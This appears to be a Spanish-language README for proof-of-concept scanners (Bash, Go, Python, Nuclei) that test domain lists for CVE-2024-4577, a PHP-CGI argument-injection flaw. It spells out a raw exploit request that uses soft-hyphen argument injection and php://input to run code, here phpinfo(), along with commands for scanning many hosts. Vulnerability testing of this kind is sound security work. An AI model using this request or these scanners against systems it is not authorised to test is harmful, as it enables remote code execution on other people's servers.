
PHP RCE PoC para CVE-2024-4577 escrito en bash, go, python y una plantilla de nuclei
Este repositorio contiene scripts para verificar la vulnerabilidad CVE-2024-4577, un problema de inyección de argumentos en PHP-CGI. Puede usar los scripts Bash, Go y Python proporcionados para probar una lista de dominios para esta vulnerabilidad. También he publicado un archivo YAML de Nuclei.
Para usar el script Bash, ejecute el siguiente comando:
./CVE-2024-4577.sh /path/to/domains-list
Primero, guarde el script Go en un archivo llamado CVE-2024-4577.go. Para compilar y ejecutar el script Go:
Compile el script Go en un binario:
go build -o CVE-2024-4577 CVE-2024-4577.go
Ejecute el binario con el archivo de lista de dominios como argumento:
./CVE-2024-4577 /path/to/domains-list
Primero, guarde el script Python en un archivo llamado CVE-2024-4577.py. Para ejecutar el script Python:
Asegúrese de tener instalada la biblioteca requests:
pip install requests
Ejecute el script Python con el archivo de lista de dominios como argumento:
python CVE-2024-4577.py /path/to/domains-list
(Opcional) Si desea imprimir solo los hosts vulnerables:
python CVE-2024-4577.py /path/to/domains-list --quiet
Para probar manualmente la vulnerabilidad, puede enviar la siguiente solicitud POST:
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php phpinfo(); ?>
También he creado una plantilla de Nuclei para escanear instancias vulnerables, utiliza el esquema de diseño v3 y ha sido probada en un entorno de laboratorio:
nuclei -t CVE-2024-4577.yaml -u <target-url>
La lista de dominios debe tener el prefijo http/https para asegurar que se lean correctamente.
http://example.com
http://testsite.com
http://vulnerablesite.com
Si se encuentra que un dominio es vulnerable, la salida será:
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable